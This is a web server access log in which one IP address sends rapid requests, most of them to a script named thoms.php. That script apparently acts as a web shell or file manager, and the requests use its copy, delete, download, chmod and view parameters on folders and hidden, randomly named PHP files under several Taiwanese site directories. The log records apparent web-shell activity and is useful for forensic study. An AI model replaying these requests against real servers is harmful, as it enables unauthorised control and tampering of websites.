45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Flegacy-checkpoint&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=.952023047303216.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=.952023047303216.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?dl=termps.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:25 -0400] "GET /thoms.php?dl=txets.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade/ HTTP/1.1" 200 6696 "https://163.245.207.76:443/bfl.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?del=.952023047303216.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.952023047303216.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?del=admin.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Fadmin.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Fadmin.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?chmod=.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?chmod=txets.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade/.952023047303216.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=.575494119812260.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=.575494119812260.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?del=.575494119812260.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.575494119812260.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /thoms.php?dl=.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:26 -0400] "GET /bfl.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /bfl.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2F.952023047303216.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2F.952023047303216.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?del=.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /bfl.com.tw/upgrade/index.php HTTP/1.1" 200 6651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /bfl.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2F.575494119812260.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2F.575494119812260.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?chmod=error_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?dl=postnews.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Ftermps.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Ftermps.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2F.htaccess&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2F.htaccess&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?dl=.952023047303216.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.952023047303216.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?chmod=postnews.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade%2Fpostnews.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fupgrade%2Fpostnews.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
